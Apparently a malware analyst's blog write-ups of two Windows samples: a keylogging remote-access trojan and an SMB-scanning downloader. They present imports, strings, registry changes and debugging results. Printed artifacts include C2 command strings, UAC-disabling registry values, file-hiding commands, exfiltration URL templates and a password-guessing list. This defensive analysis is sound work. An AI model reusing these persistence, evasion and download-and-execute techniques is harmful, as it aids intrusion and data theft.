Advapi32.dll: I see RegQueryValueExA, RegOpenKeyExA, and RegCloseKey. I wonder if this is used to do a system inventory or other reconnaissance of the host system. I also see RegSetValueExA, RegEnumValueA, RegDeleteValueA, RegCreateKeyA and RegCloseKey so I’m guessing there’s something done in the registry to either make the system more friendly towards the malware (such as disabling a firewall) or to achieve persistence. A very interesting import here is AdjustTokenPriveleges, which can be used to enable privileges for a process. I’m guessing that this is used in conjunction with the process injection/replacement functions (discussed later in this section) to gain additional permissions for the malware. I also see CreateServiceA, StartServiceA, and DeleteService, so the malware probably runs at a service and might also achieve persistence as a service.

Kernel32.dll: I see VirtualAlloc, CreateProcessA, CreateThread, CreateRemoteThread, ReadProcessMemory, ResumeThread, SetThreadContext, WriteProcessMemory, etc., all of which in conjunction with the call to NtUnmapViewOfSection makes me think that there is process replacement or injection going on in this sample. GetTickCount is there, which could be used for anti-debugging but also has legitimate uses such as being part of a random number generation function (as seen in prior analyses). I see FindFirstFileA and FindNextFileA which tells me that this thing probably looks for a particular file somewhere, maybe in %system%. WriteFile is here, which is always a good one to look for in terms of file system signatures. RaiseException is interesting – I wonder if this is used to do something confusing with the SEH to obfuscate execution. When I disassemble this, we should have a better idea of whether or not this is the case. WinExec is imported, which could be useful to look at in the disassembly to see what is being executed on the host. I see TerminateProcess, which makes me wonder if this sample spawns a new copy of itself and then terminates the original in order to make debugging more difficult. PeekNamedPipe is a cool one to see, this lets you look at the data in a pipe without modifying it, so perhaps this is used in some sort of C2 function (maybe a reverse shell?). CreatePipe is also imported, by the way. I see imports for GetVersion and GetVersionExA, so I’m thinking this is either part of a system inventory or the malware checks to see that it’s running on a compatible version of Windows (or both). GetWindowsDirectoryA shows that there’s probably something done in that directory, maybe this is where the malware installs itself or otherwise achieves some sort of persistence or stealth. I see GetDriveTypeA and GetDiskFreeSpaceExA, probably as further info for the system inventory. DeleteFileA is imported, and like with WriteFile, it will be interesting to see what this sample deletes (probably the original copy of the malware after it installs itself). CreateMutexA is imported, probably to help ensure that the malware doesn’t run multiple copies of itself on the same host or perhaps to share resources. I see CreateDirectoryA being imported, which is interesting because typically I don’t see malware create directories, usually just a single file somewhere already existing (such as the %system% directory, the malware’s working directory, or maybe a temp file directory). Finally – Beep is imported. Why?

Ntdll.dll: This is interesting to see because typically this is not called directly by legitimate programs (as far as I know) – programs typically call something in kernel32, which then calls something in ntdll.dll and so on. NtUnmapViewOfSection is imported as part of process replacement/injection. There is also an import for NtQuerySystemInformation which can have several uses that I’ll speculate on. One piece of info available from this function is the number of processors or information on running processes. There are also various ways to use this function to seed random numbers.

Ole32.dll: I see that CoCreateInstance is imported, which creates a COM object. During disassembly, I’ll look to see how this is used specifically.

Shell32.dll: I see ShellExecuteA and ShellExecuteExA imported, which again will be useful to look for to find additional things run by this malware. SHEmptyRecycleBinA is imported – this is interesting, because typically if a file is deleted from the command line, it doesn’t go into the recycle bin (I’ve never seen a sample that left anything in the recycle bin), so I wonder why this malware needs the function. I’m guessing this is to help hide its tracks, though.

Urlmon.dll: URLDownloadToFileA is imported, which is great, because this tells me to look for the malware reaching out to the author to obtain a new file of some sort.

User32.dll: GetKeyboardType is not one that I’ve seen before, but would make sense in the context of a keylogger. This function is pretty self explanatory, but note that it doesn’t necessarily give you the language of the keyboard but rather the type (e.g., IBM enhanced, Nokia 1050, etc.) of the keyboard. The exception would be that it could tell you if it was a Japanese keyboard. This function will also let you know the number of function keys on the keyboard. There are also many, many functions related to windows and graphics imported here (not to mention what’s imported with gdi32.dll). Not sure why you’d want your malware to do this.

Version.dll: I see GetFileVersionInfoA is imported – I wonder how this is used. Maybe to check the version of the malware so that an update can be performed?

Wininet.dll: InternetReadFile, InternetOpenUrlA, InternetConnectA, HttpQueryInfoA, FtpPutFileA… Great! Lots of stuff to look out for during dynamic analysis. Looks like it takes some sort of information from the host and sends it somewhere (probably the logged keystrokes, at a minimum).

Winmm.dll: PlaySoundA is imported. I wonder what this malware could possibly be doing playing sounds, as that seems like it would be a pretty conspicuous thing to do. Maybe this malware masquerades as a game or something?

Wsock32.dll: Lots of good stuff here. WSAStartup is imported, which is always nice to see in the disassembly because this will tell you where the networking functions are beginning (which also helps you find the points at which any obfuscation or encryption is going to be applied, either outgoing or incoming). I see socket, connect, send and recv which would be used to set up the client side of connectivity, but I also see bind, listen, and accept, which would allow this to function as the server side as well. I see gethostbyname, so I’m expecting to see a DNS request at some point.

Now to get to the strings. I think that most of the interesting material has already been covered using the earlier tools, but there are still some interesting strings that I found in the file (full list of meaningful strings can be found in the .pdf report of this analysis):

FastMM Borland Edition
2004, 2005 Pierre le Riche / Professional Software Development

Another indication of Delphi.

%s, ClassID: %s
%s, ProgID: “%s”
%s (%s)

Always interesting to see anything being constructed dynamically by the malware.

need dictionary
stream end
file error
stream error
data error
insufficient memory
buffer error
incompatible version

Maybe this uses version 1.2.3 of zlib?


Maybe this has something to do with a system inventory?

\Internet Explorer\iexplore.exe

This tells me that the malware does something with Internet Explorer (perhaps the process replacement/injection).

Theme manager
2001, 2002 Mike Lischke

I guess this refers to another tool used in the creation of this malware.

\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\
Layout File

Something being done regarding the keyboard layout, I’m guessing as part of the system inventory or something to do with the keylogging.

IP :
IP Mask :
Broadcast adress :
Status : UP
Status : DOWN
Broadcasts : YES
Broadcasts : NO
Loopback interface
Network interface
Security Center
Security Center
Security Center
Security Center
I wasn’t able to open the hosts file, maybe because UAC is enabled in remote computer!
Not Available
Local drive (default)
Windows NT 4.0
Windows 2000
Windows XP
Windows Server 2003
Windows Vista
Windows 7
Windows 95
Windows 98
Windows Me
memory allocation failed!
64 bit
32 bit

This looks to me like a whole lot of system inventory information. It also seems to indicate changes made by the malware to the host to report back to C2.


What’s that about?

Be Right Back
On The Phone
Out to lunch
Be Right Back
On The Phone
Out to lunch

These look like instant messenger statuses. Is this some sort of trojan that masquerades as an instant messenger client? That’s not really what I would expect from a file called Deadliest Catch…

SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg
SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\
SOFTWARE\Microsoft\Shared Tools\MSConfig\startupfolder
SOFTWARE\Microsoft\Shared Tools\MSConfig\startupfolder\
SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg
SOFTWARE\Microsoft\Shared Tools\MSConfig\startupfolder

I always like to see specific references to the registry…


Looks like something is executed on the command line. The /K switch, though, runs a command and then returns to the command prompt. Not sure why you’d want to use this with malware.

POST /index.php/1.0
BTRESULTHTTP Flood|Http Flood task finished!|
BTRESULTVisit URL|finished to visit
BTERRORVisit URL|An exception occured in the thread|
SYSERRNot a valid range set!
SYSERRCannot open remote process for reading..
SYSERRCannot create the output file!
SYSINFORemote process (
) successfully dump in
Real Time
> of the Normal
< of the Normal
BTRESULTSyn Flood|Syn task finished!|
BTRESULTUDP Flood|UDP Flood task finished!|
OK|Successfully started..|
ERR|Socket error..|
ERR|Cannot listen to port, try another one..|
BTRESULTMass Download|Downloading File…|
BTRESULTDownload File|Mass Download : File Downloaded , Executing new one in temp dir…|
BTERRORDownload File| Error on downloading file check if you type the correct url…|
ping -n 4 > NUL && ”

Always great to see this sort of stuff that will help give indications of what networking activity is supposed to happen. Also note the mention of the flood tasks. Maybe this has some sort of botnet-like feature where C2 can use infected hosts to DDoS a target. It also appears to have a scan function. Some of these strings may even be commands that the malware uses to execute instructions from C2. I wonder what those .txt files are. Also – this thing gets torrents?


Looks like a slightly nonstandard base64 index. Notice the special characters after Z which here are /*-+.= while in a regular string it would be just +/. This also makes it longer than a regular base64 index. Also, the numerals come in the beginning of this string while in a standard index they would come after the alphebetic characters. In this index, the lowercase letters also come before the upper case, which would be reversed in a standard base64 index.

:: Clipboard Change : size =
Bytes (

This all looks like strings related to the keylogging function that I’m presuming is part of this malware. This also helps in that it appears we’re looking for files with a .log extension in a dclogs folder.


I see this string out in the middle of nowhere, so to speak. Maybe this also has something to do with the process replacement, etc.


Maybe this malware takes screenshots, too.

Software\Microsoft\Windows NT\CurrentVersion\Winlogon
Software\Microsoft\Windows NT\CurrentVersion\Winlogon

This gives me some ideas of what changes may be made to the registry by the malware, and also some idea of how persistence may be accomplished.

Not really sure what these threads are for, but it looks like something might be started locally on 1604. Maybe this is the port that C2 will use for a remote shell or other networking.

rmdir ”
” /s /q
attrib ”
” +s +h

Covering its tracks?


Maybe this allows C2 to kill processes locally.


More indications of keylogging functionality.

Set cdaudio door closed wait

Seems like odd functionality for typical malware.

is now open!|
BTRESULTPing|Respond [OK] for the ping !|
BTRESULTRun command|
Command successfully executed!|
BTRESULTClose Server|close command receive, bye bye…|
BTRESULTUninstall|uninstall command receive, bye bye…|
BTERRORUpdate from URL| Error on downloading file check if you type the correct url…|
BTRESULTUpdate from URL|Update : File Downloaded , Executing new one in temp dir…|

Indications that there is a bot functionality to this malware as well.


Some of these are pretty creepy, referring to things like webcam, soundcapture, etc. Perhaps more commands that the malware parses from C2 somehow to turn functionality on or off.


Uh, OK.

Some final notes before getting into the dynamic analysis. I notice a .reloc section, which is interesting because I usually don’t see these in samples (and especially not in .exes, typically in .dlls). One sandbox reported seeing French language PE resources, the rest being either neutral or US English.

Dynamic Analysis

For this part, I ran the malware three different times: 1) as a regular user; 2) as administrator; 3) as a regular user with Fakenet. I’m going to look at the regular user run first.

Running the malware from the command prompt, nothing appears to happen. One funny thing is that the working directory for the malware “disappears”, as does the executable. The files are still there, it’s just that they’ve been hidden. Sort of stupid, actually, because you’d think that any user running this would notice that their directory is “gone”, especially if you ran it from somewhere like your Downloads directory. Maybe I’m wrong, but it just seems a bit overkill.

I also noticed this pretty much immediately:


msdcsc.exe is not something that I recognize, but I do recall seeing notepad.exe in the strings from the malware, so both of these together appear suspicious to me. Msdcsc.exe appears to have the same strings as the original malware executable glancing through it. This file resides in the Documents directory in a folder called MSDCSC, and again both this directory and the msdcsc.exe file are both hidden. The MD5 value of both files confirms that they are the same.

Regshot revealed some changes:

Key added:

Values added:
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\Run\MicroUpdate: “C:\Users\Linux Derp\Documents\MSDCSC\msdcsc.exe”
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\System\DisableRegistryTools: 0x00000001
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\System\EnableLUA: 0x00000000

I see some files added also:
c:\Users\Linux Derp\AppData\Roaming\dclogs\2016-08-31-4.dc
c:\Users\Linux Derp\Documents\MSDCSC\msdcsc.exe

That one file in the beginning is VERY interesting. This path and file name lines up with some strings we saw earlier. This directory is not hidden, actually, so I guess the author figured that the user wouldn’t venture into this directory. The file 2016-08-31-4.dc isn’t hidden, either. The contents clearly show that keystrokes are being captured, along with times, the applications/windows used for input, and clipboard changes:


Some of the exact strings highlighted earlier as indications of a keylogger can be seen in the capture above. I tried typing a bunch of things into the cmd.exe window, but noticed that the log file was not updated. After some testing, it appears that data is written to the log file when I open a new program (in my test, I opened a bunch of new cmd.exe sessions). Testing this some more, it appears that keylogging data is saved in a buffer and then written to the log when there is data being typed into a new window. For example, simply opening a program from the start menu did not trigger writing to the log. Opening a program by typing the name into the start menu triggered writing to the log. Opening Internet Explorer via the start menu did not trigger logging, however typing an address into the window DID trigger writing to the log. Typing input into Internet Explorer without hitting enter triggered writing to the log immediately, however typing multiple commands in a row into a cmd.exe window did not trigger logging on its own. Probably not important, but sort of interesting to see different ways to get this program to take actions.

Looking in Process Monitor, first I’m starting with the original malware process. Several pages in, after loading several libraries and enumerating many entries in the Registry, I see a odd operation, a call to CreateFileA for C:\MA\lab\JBDyF4FCmWXH.dcp (which is not found). Much later on, we see the malware try to call CreateFileA for the path C:\Users\Linux Derp\Documents\MSDCSC\JBDyF4FCmWXH\msdcsc.exe, which is again not found. Another call is made, this time to C:\Users\Linux Derp\Documents\MSDCSC\msdcsc.exe which is ultimately where we see the file being copied to and hidden.

Shortly after, at this point we seem to see that the malware starts the process of copying itself into the new directory that we found:


Then the writing of the file to the new location:


After this, we see the malware trying to make some changes to the registry, some of which are successful, one that is not:


The value that was successfully set to the MicroUpdate key is the full path of the new copy of the malware. I think what we’ve observed here was the malware checking to see if it was already installed, and not finding a copy of itself, it installed itself.

We see some more registry changes:


We see how the malware uses the /k switch for cmd.exe, when it hides the working directory of the original malware file:


Going through the rest of the results, there are thousands of keys/values enumerated by the original malware process, but at the end you don’t see any new processes being created, but looking in Process Monitor for processes whose parent was the original malware process (PID 944), we see some interesting things. First we see that there were two cmd.exe processes created, PIDs 2636 and 1860, which hid the original malware file and its working directory. Later, we see the first of the new malware processes created (PID 560) which is started via the command line:


msdcsc.exe again looks for the JBDyF4FCmWXH.dcp file, as the original process did. A bit later, some strange behavior as the new malware process starts trying to make many modifications to the registry:


One interesting change is that the malware sets the EnableLUA value to 0, so that Windows will not notify the user when programs try to make changes to the computer:


We also see that it tries to set AntiVirusDisableNotify to 1 (true):


I’m noticing that some of these operations are unsuccessful as we’ve been going through here. I’ll be curious to see what happens in the run of this malware where I was in admin mode.

Later, I see the creation of the other malware-associated process, the notepad.exe process (PID 2404):


We see the malware process (560) again set values in the registry, like the original process, apparently around persistence:


Autoruns confirms this:


Later on in the results, I see this operation being repeated many times, all successfully. I’m not sure why the malware does this. Maybe this is some sort of error.

The new malware process (560) then sets up the location for the keylogging file:


Here is the first write to the logging file:


Looking at the final malware process, the notepad.exe process created (PID 2404), shows it was started from the command line by the 2nd process (560). I’m not really seeing this process do that much, on the face of it. Its strings in memory match what should be there for a legitimate notepad.exe process. There’s also no visible window, when I tried to access that via Process Explorer. This notepad process, however, does have a mutant, which my other legitimate notepad.exe process does not:


That mutant name matches one of the strings found in the malware exactly. The malware process also has some handles to places in the registry (under HKLM) having to do with locales that my legitimate notepad.exe process doesn’t have.

Looking at the 2nd process (560) in process explorer, one very weird thing is that there appear to be hundreds (maybe thousands) of handles to \Device\Afd (auxiliary function driver). We also see a few other things:


There’s a handle to a token, and also a handle to a couple of threads within the new notepad.exe process. I’m guessing that the malware injected something into notepad.exe based on this and also on how we found all of those function imports earlier that were associated with process injection/replacement. There’s also a mutant DC_MUTEX-K5DAH26. I’m not seeing this string in what I found earlier, though I do see DCMUTEX. One other little note from the Process Explorer review is that the malware’s description of msdcsc.exe is “Remote Service Application” which is something we found during the static analysis.

I happen to notice there are two iexplore.exe processes running (PIDs 2968 and 356). Sort of strange, because I did start Internet Explorer from the start menu, however, I only ran a single copy. The first process seems legitimate (2968). When I try to bring the second process to the front using Process Explorer, I’m informed that there is no visible window for the process. Some of the interesting stuff in the GMER output includes GetKeyState, CallNextHookEx, SetWindowsHookExW, GetAsyncKeyState, UnhookWindowsHookEx and others. These are things I’d associate with keyloggers, especially GetAsyncKeyState and GetKeyState. We saw that iexplore.exe was a string within the malware:


Looking at the network traffic, I see that the malware tried to resolve a domain,


For some reason the address didn’t resolve, and no traffic was observed. appears to be up, though…

Looking in the run I made as administrator, I noticed some differences in the results from Regshot. For example, in the run as a regular user, we saw these keys added:


In the admin mode run, we see:

Running as admin, we see some other interesting changes that we didn’t see running as a regular user:

Values added: 45
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\CurrentVersion\Explorern\NoControlPanel: “1”
HKLM\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify: “1”
HKLM\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify: “1”
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\CurrentVersion\Explorern\NoControlPanel: “1”

The changes already mentioned in the user mode run were also observed, these are just the additional successful changes made to the registry. Otherwise, the behavior appears to be more or less the same, at least what I can see from this perspective.

I decided to dump the memory from the user run and see what, if anything, turned up in there. I used Moonsols to dump the memory, and then I ran some Volatility plugins on the results just to see what I could find. I’m not the strongest Volatility user, by any means, though I’m working on it. Using this tool on this sample is a good opportunity for me, so please bear with me if this is very basic to you.

There is a Volatility plugin called psxview which can be used to find processes using several different methods. The book The Art of Memory Forensics has a great description of processes and their structures in the sixth chapter of the book. There are several methods for finding processes listed here, and the psxview plugin incorporates all of the ones listed in the book into a single plugin. What’s nice is that, as you can see in the screenshot below, the plugin gives you a table showing each process with its offset and PID and then whether or not it would have been found using a certain method (for example, in the example below, the cmd.exe process, PID 1688, would have been found using any method).


ExitTime would show when a process was terminated but for some reason still is showing up in the process list. This could happen if another process has an open handle to a terminated process.

Going through the list reveals nothing out of the ordinary. There’s something weird at the end, though:


This is the end of the listing, and what it looks like is there is a running process (PID 504) that was unrevealed by all methods except for thrdproc (thread scanning). Each process must have at least one active thread. This method scans for thread objects and then maps them back to an owning process. Like I said before, I’m a fairly new user with Volatility, so maybe this is some idiosyncratic thing that I just am not familiar with, but it appears to be a very well hidden process that I’m assuming is associated with the malware. The point of the Process Crossview plugin (psxview) is that rootkits are unlikely to have hidden themselves from the active process linked list and then ALL of these other methods – however it looks like this one almost did that.

I was unable to dump this process with the procdump plugin (it told me that it couldn’t find a process with PID 504 and advised me to try with an offset, which also did not work). Psscan does not reveal this mysterious process 504. I tried memdump, using an offset and the PID, but nothing.

Running the privs plugin revealed some info about what privileges are available to the malware process msdcsc.exe (PID 560), and others such as the injected/replaced iexplore.exe process, but nothing appeared to be out of the ordinary.

The mutantscan plugin revealed the two malware mutexes that we know about, but nothing really new here. Grepping the mutantscan results didn’t reveal anything near the offset of process 504.


Grepping the results of the thrdscan plugin does show a bit more detail about this thread:


It’s definitely still open…running the threads plugin doesn’t reveal anything, though. I decided to try dumping the memory from my admin run and seeing if psxview revealed something similar, and what I got was pretty weird:


In another run of the malware in user mode, I wasn’t able to replicate the original run’s mysterious nameless process. I’ll still keep this in the back of my mind, but I think it might have just been some weird artifact from either the VM or Moonsols.

On another note, I ran the malfind plugin and had it dump whatever was injected into the two iexplore.exe processes (PIDs 2968 and 4036) and the notepad.exe process (PID 2404), so when I get to disassembly I’ll be able to see what the malware put in there.

At this point I’m wrapping up the dynamic and static analysis, and am going to move into the disassembly. Maybe in the future when I’m better with Volatility I’ll try some new things, but for now I think I’ve exhausted all avenues on this one.

Disassembly and Debugging



No, it’s not a Super Star Destroyer – it’s a graph of all the function calls in this thing.

Zoomed in 110%:







I had a file come through GRAB-NYC. I ran it through Virustotal, 48/56 detected something. Time to take a closer look.

Static Analysis

Virustotal said that the file was packed with Armadillo 1.71, but I’m not seeing any packing. PEiD says it’s unpacked, and the strings look like what I’d expect to see for an unpacked file (i.e., many useful plaintext strings as opposed to the garbage one normally sees in a packed file and/or peculiar section names like .upx1 or .petite that indicate a packer). Looking in PEview, the headers for the .text and .data sections look fine (in that the raw and virtual sizes are very close in size to one another) however there’s something off for the .data section:


This indicates that there is a much larger space in memory for the .data section than there is for the .data section on disk, which leads me to think that it might actually be packed. This .data section does give up many plaintext strings, though, so it’s a bit confusing to me right now. I’ll come back to this later on in the analysis – I might observe something being unpacked during dynamic analysis, for example.

Looking at it in PEview again, the number of data directories (0x10) and TLS table (there isn’t one) looks fine from an anti-debugging perspective. There are six imported libraries: advapi32, kernel32, mpr, netapi32, and ws2_32. Interesting imports from each include:

I see RegCreateKeyExA, RegSetValueExA, and RegCloseKey all of which tell me that 1) we can probably look for host-based signatures in the registry and 2) this might indicate how the malware achieves persistence.

I see DeleteFileA, WriteFile and CopyFileA which are always nice to see for host/file system signatures. GetTickCount can be used in an anti-debugging context, but it could also be used to generating random numbers. GetComputerNameA and GetVersion are probably part of a system inventory. CreateProcessA is another great one because this indicates that we might have another process to look for, and therefore another signature. GetSystemDirectoryA suggests that something is done in %system%, possibly this is where the malware installs itself or maybe it does something with a legitimate system file. Sleep can be interesting depending on how it’s used in the malware. I see CreateThread and VirtualAlloc, but not the rest of the stuff for process replacement. I’m also not seeing WriteProcessMemory or CreateRemoteThread, which I would look for to indicate injection. I see GetCommandLineA, which can be a good place to look at during manual unpacking. I see TerminateProcess, so maybe this is one of those annoying ones that will respawn itself and terminate the parent multiple times to make debugging annoying.

We see WNetAddConnection2A imported. This function can either 1) make a connection to a network or 2) redirect a local device to a network resource. It’ll be interesting to see how this is used in the malware.

NetUserEnum is imported, which retrieves information about user accounts on a server. NetScheduleJobAdd is also imported, which is both deprecated and allows you to run a job at a specified future time and date. NetRemoteTOD is imported, which allows one to obtain the time of day from a server, which I would presume is used to trigger the scheduled job suggested by the previous import.

We see WSAStartup, which is the beginning of the networking function and can be a good place to look for plaintext traffic (usually if there is encoding/obfuscation, it’s going to be around networking functions such as send or recv). I see gethostbyname, so we should observe a domain being resolved. I see connect, send, socket, but interestingly I don’t see recv. It’s possible that this function is obfuscated and is called during execution, but it almost appears that this file only sends data.

KANAL doesn’t indicate any standard crypto signatures, but if the .data section really is packed, then we might not see them (or, they might be non-standard but that’s unlikely).

Turning to the strings, we first see a familiar sight:


Line after line of truly unforgivable passwords. “password” is in there too. Some other real winners include internet, ihavenopass, home, god, computer, database, baseball, and 2600. Below these horrendous passwords we see an interesting block of text:

GET /updata/TPDA.php?lg1=%s&lg2=%s&lg3=%s&lg4=%s&lg5=%s&lg6=%s HTTP/1.1
GET /updata/TPDB.php?lg1=%s&lg2=%s&lg3=%s&lg4=%s&lg5=%s&lg6=%s&lg7=%d HTTP/1.1

LOTS of good stuff here. Not sure what PHIME2005 is, but I’ll keep an eye out for that. The next line looks like where the malware sets up persistence in the registry. There are references to a couple of executable files here – dnsapi.exe and msupd.exe. These might be filenames used by the malware to make a legitimate-looking copy of itself into %system%. I see what look like possible status updates being sent back to a controller (TaskOK, CopyOK, LoginOK). There’s the skeleton of an IP address and then an actual IP address hardcoded ( This IP leads to NTT Communications Corporation in Tokyo. I see two additional libraries listed here (urlmon.dll and wininet.dll) along with some interesting functions (URLDownloadtoFileA and DeleteUrlCacheEntry). Wininet.dll is a higher-level networking library, which means that the author won’t have to “fake” as much traffic info (such as headers) since the networking traffic will use the signatures of the host. This also means that there probably won’t be any peculiar header or other signatures for part of this malware’s activity as it will blend in fairly well with the host’s regular traffic. We see what looks like HTTP GETs and also a hostname of along with an address of I’m going to guess that this is where the malware goes to update itself after being run. There may even be a C2 function here – the author might put files out here with updated instructions for the malware to pick up and execute. is registered to “Government Publications”, so I’m sure it’s totally legit and not shady at all…I also notice that this domain was registered on 20MAR2006 and expires on 31MAR2017… pretty cool that this domain has been around for so long, and that this malware is so old.

I want to see if I can get the .jpg mentioned in the strings. I can’t seem to resolve I tried the address, but didn’t get much there either. I did see, however:

113/tcp closed ident
2000/tcp open cisco-sccp
5060/tcp open sip

I had to use the -Pn flag in nmap to get this info. I need to see more of what the malware’s activity is before I feel comfortable coming to more conclusions about this address. I feel like this might be a malicious site, but perhaps it’s not. I think it’s too early to say, but info from isn’t looking good for


Notice that sends info to this IP.

At this point, my feeling about this malware is that it tries to download updates or additional instructions from a website, and that it tries to find other users on the network where it is run and then attempts to gain access to those accounts using those awful passwords listed above. It also appears to achieve some stealth and persistence. I need to move on to dynamic analysis and further on in order to say more about what this sample does.

Dynamic Analysis

I gathered observations on two runs of this malware, first as a regular user and the second one as an admin. I started examining the results from the user run, which is what I typically do because I want to see if the malware runs into any issues or does any kind of privilege escalation.

I saw what appeared to be strings related to the registry and specifically to making the malware run at startup, but RegShot didn’t really show too much that was meaningful happening in the context of the malware (nor did it show any files written or deleted that appeared malware related, etc.). There was, however, this big block of changes:

HKU\.DEFAULT\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@provsvc.dll,-202: “HomeGroup”
HKU\.DEFAULT\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@sstpsvc.dll,-35001: “Secure Socket Tunneling Protocol”
HKU\.DEFAULT\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@netlogon.dll,-1010: “Netlogon Service”
HKU\.DEFAULT\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@snmptrap.exe,-3: “SNMP Trap”
HKU\.DEFAULT\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@%systemroot%\system32\provsvc.dll,-202: “HomeGroup”
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\ZN\yno\haxabja.rkr: 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF FF FF FF FF 20 51 5A 5B 13 F7 D1 01 00 00 00 00
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\HomeGroup\UIStatusCache\Modifier: “[username]”
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\HomeGroup\UIStatusCache\ModifierSystem: “[machine name”
HKU\S-1-5-18\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@provsvc.dll,-202: “HomeGroup”
HKU\S-1-5-18\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@sstpsvc.dll,-35001: “Secure Socket Tunneling Protocol”
HKU\S-1-5-18\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@netlogon.dll,-1010: “Netlogon Service”
HKU\S-1-5-18\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@snmptrap.exe,-3: “SNMP Trap”
HKU\S-1-5-18\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@%systemroot%\system32\provsvc.dll,-202: “HomeGroup”

Autoruns didn’t show anything being added to run at startup.

Stepping through Process Monitor, we do see something interesting – the malware attempted to add itself to run at startup under the name PHIME2005 (which we saw in the strings earlier) with the command line c:\MA\lab\unknown.exe /SYNC, but this failed due to not having appropriate access. This is interesting because first we can see a good potential signature, but also because it appears that the malware doesn’t escalate privileges because it was denied access to set this registry value.


Further on, we do see HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable being set to 0 successfully, and attempts to delete some other values:


Later, we see that it tries to delete some values (and is denied access) but successfully sets some values related to internet settings:


Towards the end, we see 101 threads being created (likely for scanning new machines, similar to a previous sample) and then alternating thread exit/creation:


Looking in Wireshark, we can see a few tens of thousands of TCP packets used for IP addresses being scanned on port 445 (SMB) which is also where we received this sample in the honeypot. For UDP, we see only a couple of hundred, but almost all of them were local (e.g., there were a couple of successful DNS resolutions on port 53, but not malware related). The other interesting traffic was on ports 137/138 (SMB), 1027/1028, 1900 (UPnP), 5007 (could be Yahoo Messenger for UDP), and 5353/5355. There wasn’t a resolution for, however the malware did attempt to connect to on port 80 (unsuccessfully – it never received a response from the SYN packet).

I didn’t see any calls to WriteFile or DeleteFileA. One other thing that I haven’t seen before while analyzing files is the following event:


I’m going to look through the recording of activity from the instance run as administrator to see what’s different. Looking in RegShot as a first step, one thing that we see immediately is that the following registry value is successfully added:

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\PHIME2005: “C:\MA\lab\unknown.exe /SYNC”

We can also observe this in autoruns:


Otherwise we see essentially the same behavior. Wireshark also revealed essentially the same traffic as before when run as a regular user. Similarly, nothing significant seemed to happen when this malware was run with the /SYNC argument, however I’d like to see in the disassembly what is supposed to happen with this argument.

After trying all of this, I ran Fakenet and then re-ran the malware, and something interesting happened:


First, you can see that the malware attempts to resolve the address, and then makes an HTTP GET request on port 80 to the link we saw in the strings earlier. Then we see this strange dialog box with an error message related to the file we saw referenced in the strings. Looking back through the Process Monitor results, you can see that the malware does try to access this file when it runs, however it didn’t successfully do this until I was running Fakenet. In this case, the error came from how Fakenet serves its own .jpg to the malware instead of the actual .jpg that would have been located at the malicious domain. I suspect that if this file was still available at, that it would have been downloaded and executed. My guess is that this is a Windows executable that was renamed as a .jpg file. I’d really like to get my hands on this file… I’ll give some thought as to how this could be accomplished. I think at this point I’ve exhausted most of what I can do statically and dynamically, and will turn to disassembly and debugging to see what else I can get out of this sample.

Disassembly and Debugging

As soon as I opened this in Ida, I was a bit relieved because quickly going through it didn’t reveal anything that looked too horrific in terms of flows or obfuscation. The first important thing we see happening in the main function is that networking is started and the filename of the process is obtained:


Below that we see the filename that we just obtained having the /SYNC argument appended and then this is used to modify the registry to achieve persistence:


Then, we see a few calls to some subroutines and then a loop before the final cleanup and exit. Notice that 0x64 (100 decimal) is pushed on to the stack and this is used to control the loop, hence the 101 threads we saw created earlier during the dynamic analysis:


I’m going to start going through these subs in order starting with 401E00:


Looking here, the first action taken is a string is created based on the system directory and the string \\msupd.exe. If this file can be opened (so we get a non-zero return to EAX), then we don’t follow the conditional jump and move towards the return on the left. If we cannot open this file (so, most likely because it doesn’t exist) we follow the conditional jump towards the right where we take the string to download the ACCl3.jpg file from and then call LoadLibraryA to import wininet.dll. Following these series of conditional jumps, we import the function DeleteUrlCacheEnrty, then import urlmon.dll and then import UrlDownloadToFile. Right after this function is imported, we see an indirect call (annoying) which is almost certainly the call to UrlDownloadToFile because we then see a call to CreateProcessA which matches the behavior that the malware exhibited during dynamic analysis. Seems to me that the file downloads ACCL3.jpg to the %system% directory as wsupd.exe. After this we see cleanup by calls to CloseHandle and then return to the WinMain sub.

The next sub is 401BF0. This one begins with several calls from ws2_32.dll related to establishing networking. We see a call to inet_addr with as an argument (pretty much confirming to me that this is a shady address, if the other research didn’t make it clear enough) and then a call to connect. We then see the malware gathering system information. First, there’s a call to 401A70 which establishes a local date/time group:


